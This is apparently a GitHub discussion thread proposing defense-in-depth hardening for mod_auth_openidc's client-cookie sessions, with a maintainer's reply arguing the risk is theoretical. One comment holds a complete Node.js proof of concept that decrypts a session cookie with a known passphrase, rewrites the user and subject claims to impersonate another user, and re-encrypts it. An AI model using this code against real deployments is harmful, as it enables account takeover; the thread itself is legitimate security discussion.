Replies: 2 comments 5 replies
-
Proof-of-concept to impersonate another user (requires Node.js 12+): package.json {
"name": "mod-auth-openidc-proof-of-concept",
"version": "1.0.0",
"private": true,
"dependencies": {
"jose": "^3.0.0"
}
} index.js const { createHash } = require("crypto");
const { compactDecrypt } = require("jose/jwe/compact/decrypt");
const { CompactEncrypt } = require("jose/jwe/compact/encrypt");
const { SignJWT } = require("jose/jwt/sign");
const { jwtVerify } = require("jose/jwt/verify");
const ENCODER = new TextEncoder();
const DECODER = new TextDecoder();
const OIDC_SESSION_REMOTE_USER_KEY = "r";
const OIDC_SESSION_KEY_USERINFO_CLAIMS = "uic";
const OIDC_SESSION_EXPIRY_KEY = "e";
const OIDC_SESSION_KEY_SESSION_EXPIRES = "se";
function getKey(secret) {
const hash = createHash("sha256");
hash.update(secret);
return hash.digest();
}
async function createJWE(payload, key) {
const jwt = await new SignJWT(payload)
.setProtectedHeader({ alg: "HS256" })
.sign(key);
return await new CompactEncrypt(ENCODER.encode(jwt))
.setProtectedHeader({ alg: "dir", enc: "A256GCM" })
.encrypt(key);
}
async function verifyJWE(jwe, key) {
const jwt = await compactDecrypt(jwe, key);
return await jwtVerify(DECODER.decode(jwt.plaintext), key);
}
async function impersonate(jwe, key, targetUsername) {
const { payload } = await verifyJWE(jwe, key);
console.log("Before impersonation:");
console.log(payload);
// update subject
const [,iss] = payload[OIDC_SESSION_REMOTE_USER_KEY].split("@");
payload[OIDC_SESSION_REMOTE_USER_KEY] = `${targetUsername}@${iss}`;
payload[OIDC_SESSION_KEY_USERINFO_CLAIMS] = JSON.stringify({
...JSON.parse(payload[OIDC_SESSION_KEY_USERINFO_CLAIMS]),
sub: targetUsername
});
// set expiration to 1 hour from now
const expires = Math.floor((Date.now() + 3600000) / 1000);
payload[OIDC_SESSION_EXPIRY_KEY] = expires;
payload[OIDC_SESSION_KEY_SESSION_EXPIRES] = (expires * 1000000).toString();
console.log("After impersonation:");
console.log(payload);
// create impersonated JWE
const impersonatedJWE = await createJWE(payload, key);
console.log("Impersonated JWE:");
console.log(impersonatedJWE);
}
// See https://github.com/zmartzone/mod_auth_openidc/blob/master/auth_openidc.conf
const jwe = "(jwe-value)"; // put value of cookie with name configured in OIDCCookie
const key = getKey("(passphrase-value)"); // put value configured in OIDCCryptoPassphrase
impersonate(
jwe,
key,
"(user-to-impersonate-value)" // put value of user to impersonate as
)
.catch(err => console.error(err)); |
Beta Was this translation helpful? Give feedback.
-
this is a good example of theory vs. practice: I agree that there's a theoretical chance that an attacker can guess the OIDCCryptoPassphrase, just like there's a theoretical chance (actually the same!) that an attacker guesses the If one could address all of these theoretical attacks in one PR, I'd be open to take a look at it, but realistically, that would most probably not be possible, or come at the expense of practical things like speed or size; actually the latter is the reason for not storing the A better way of dealing with all of this: use a password that is too hard to guess. |
Beta Was this translation helpful? Give feedback.
-
CLARIFICATION: This is not a disclosure of a vulnerability. Rather, it showcases an opportunity to implement defense in-depth to protect against impersonation when an attacker guesses the value of
OIDCCryptoPassphrase
.Hello:
I've been examining how the OIDCCryptoPassphrase is used when the OIDCSessionType is configured with the
client-cookie
value to construct the session cookie.After the module receives an
id_token
from the OIDC IdP, the original JWT signature provided by the IdP is replaced with anHS256
signature using a key derived fromOIDCCryptoPassphrase
:https://github.com/zmartzone/mod_auth_openidc/blob/46d138478dbd8d298fdf76d93cfe783586fb604d/src/util.c#L135-L193
Here's a pseudo-code that summarizes what happens:
The
wrapPayload()
method of the pseudo-code returns a value of type:https://github.com/zmartzone/mod_auth_openidc/blob/46d138478dbd8d298fdf76d93cfe783586fb604d/src/mod_auth_openidc.h#L607
Which is a JSON object that contains state, including the session user and state:
https://github.com/zmartzone/mod_auth_openidc/blob/46d138478dbd8d298fdf76d93cfe783586fb604d/src/session.c#L56-L67
https://github.com/zmartzone/mod_auth_openidc/blob/46d138478dbd8d298fdf76d93cfe783586fb604d/src/session.c#L439-L471
This mean that an attacker that guesses
OIDCCryptoPassphrase
not only can read the contents of the cookie, but also can craft aJWE
that is capable of impersonating another user by tampering with:payload[OIDC_SESSION_REMOTE_USER_KEY]
JSON.parse(payload[OIDC_SESSION_KEY_USERINFO_CLAIMS]).sub
I believe the security of this module can be improved by storing the original JWT provided by the IdP and validate it on every request to provide security in-depth. This way, if an attacker guesses
OIDCCryptoPassphrase
they can read the contents of the session cookie, but cannot craft a tampered cookie that is able to impersonate a different user unless they obtain a validid_token
for said user from the IdP.It seems there's already code for storing it, but the code currently explicitly avoids doing that for
OIDCSessionType client-cookie
:https://github.com/zmartzone/mod_auth_openidc/blob/46d138478dbd8d298fdf76d93cfe783586fb604d/src/mod_auth_openidc.c#L1709-L1712
Thoughts?
Beta Was this translation helpful? Give feedback.
All reactions